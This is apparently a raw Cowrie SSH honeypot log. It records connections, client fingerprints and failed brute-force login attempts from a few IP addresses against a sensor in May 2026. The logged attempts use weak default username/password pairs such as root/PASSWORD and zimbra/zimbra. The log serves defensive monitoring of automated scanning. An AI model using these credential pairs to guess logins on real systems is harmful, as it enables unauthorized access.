{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:38:23.281604Z","src_ip":"45.153.34.114","session":"67b39413a157","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:38:23.286428Z","src_ip":"45.153.34.114","session":"67b39413a157","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":48554,"dst_ip":"159.203.135.109","dst_port":22,"session":"d7044b759542","protocol":"ssh","message":"New connection: 45.153.34.114:48554 (159.203.135.109:22) [session: d7044b759542]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:38:30.507641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:38:30.514004Z","src_ip":"45.153.34.114","session":"d7044b759542","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:38:30.599882Z","src_ip":"45.153.34.114","session":"d7044b759542","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"abc123","message":"login attempt [test/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:38:30.852024Z","src_ip":"45.153.34.114","session":"d7044b759542","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:38:31.942179Z","src_ip":"45.153.34.114","session":"d7044b759542","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":48574,"dst_ip":"159.203.135.109","dst_port":22,"session":"39bbf8d0c040","protocol":"ssh","message":"New connection: 45.153.34.114:48574 (159.203.135.109:22) [session: 39bbf8d0c040]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:38:38.259838Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:38:38.267846Z","src_ip":"45.153.34.114","session":"39bbf8d0c040","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:38:38.353962Z","src_ip":"45.153.34.114","session":"39bbf8d0c040","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"login","password":"login","message":"login attempt [login/login] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:38:38.753013Z","src_ip":"45.153.34.114","session":"39bbf8d0c040","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:38:39.840005Z","src_ip":"45.153.34.114","session":"39bbf8d0c040","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":56744,"dst_ip":"159.203.135.109","dst_port":22,"session":"879deed3a72c","protocol":"ssh","message":"New connection: 103.75.199.4:56744 (159.203.135.109:22) [session: 879deed3a72c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:38:41.916200Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:38:41.920600Z","src_ip":"103.75.199.4","session":"879deed3a72c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:38:42.011572Z","src_ip":"103.75.199.4","session":"879deed3a72c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zimbra","password":"zimbra","message":"login attempt [zimbra/zimbra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:38:42.284901Z","src_ip":"103.75.199.4","session":"879deed3a72c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:38:43.378733Z","src_ip":"103.75.199.4","session":"879deed3a72c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":57658,"dst_ip":"159.203.135.109","dst_port":22,"session":"fbd11cc0849d","protocol":"ssh","message":"New connection: 20.203.42.204:57658 (159.203.135.109:22) [session: fbd11cc0849d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:38:44.090417Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:38:44.097001Z","src_ip":"20.203.42.204","session":"fbd11cc0849d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:38:44.265744Z","src_ip":"20.203.42.204","session":"fbd11cc0849d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"PASSWORD","message":"login attempt [root/PASSWORD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:38:44.975654Z","src_ip":"20.203.42.204","session":"fbd11cc0849d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":58450,"dst_ip":"159.203.135.109","dst_port":22,"session":"a0ac5f760e6c","protocol":"ssh","message":"New connection: 45.153.34.114:58450 (159.203.135.109:22) [session: a0ac5f760e6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:38:46.056780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:38:46.061413Z","src_ip":"45.153.34.114","session":"a0ac5f760e6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:38:46.148280Z","src_ip":"20.203.42.204","session":"fbd11cc0849d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:38:46.171954Z","src_ip":"45.153.34.114","session":"a0ac5f760e6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jasdeep","password":"jasdeep123","message":"login attempt [jasdeep/jasdeep123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:38:46.480299Z","src_ip":"45.153.34.114","session":"a0ac5f760e6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:38:47.582815Z","src_ip":"45.153.34.114","session":"a0ac5f760e6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":39890,"dst_ip":"159.203.135.109","dst_port":22,"session":"132d294e7614","protocol":"ssh","message":"New connection: 45.153.34.114:39890 (159.203.135.109:22) [session: 132d294e7614]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:38:54.013027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:38:54.020918Z","src_ip":"45.153.34.114","session":"132d294e7614","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:38:54.106512Z","src_ip":"45.153.34.114","session":"132d294e7614","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hive","password":"hive","message":"login attempt [hive/hive] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:38:54.379497Z","src_ip":"45.153.34.114","session":"132d294e7614","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:38:55.472626Z","src_ip":"45.153.34.114","session":"132d294e7614","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":49226,"dst_ip":"159.203.135.109","dst_port":22,"session":"d7b3d64407e2","protocol":"ssh","message":"New connection: 45.153.34.114:49226 (159.203.135.109:22) [session: d7b3d64407e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:39:02.483464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:39:02.493126Z","src_ip":"45.153.34.114","session":"d7b3d64407e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:39:02.594332Z","src_ip":"45.153.34.114","session":"d7b3d64407e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo16","password":"odoo16","message":"login attempt [odoo16/odoo16] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:39:02.863492Z","src_ip":"45.153.34.114","session":"d7b3d64407e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":53616,"dst_ip":"159.203.135.109","dst_port":22,"session":"c93b61c39c4a","protocol":"ssh","message":"New connection: 103.75.199.4:53616 (159.203.135.109:22) [session: c93b61c39c4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:39:03.775630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:39:03.888471Z","src_ip":"103.75.199.4","session":"c93b61c39c4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:39:03.979866Z","src_ip":"103.75.199.4","session":"c93b61c39c4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:39:04.042699Z","src_ip":"45.153.34.114","session":"d7b3d64407e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bob","password":"bob","message":"login attempt [bob/bob] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:39:04.256888Z","src_ip":"103.75.199.4","session":"c93b61c39c4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:39:05.350713Z","src_ip":"103.75.199.4","session":"c93b61c39c4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":60014,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d754b88cbdf","protocol":"ssh","message":"New connection: 45.153.34.114:60014 (159.203.135.109:22) [session: 4d754b88cbdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:39:10.740254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:39:10.744719Z","src_ip":"45.153.34.114","session":"4d754b88cbdf","protocol":"ssh"}
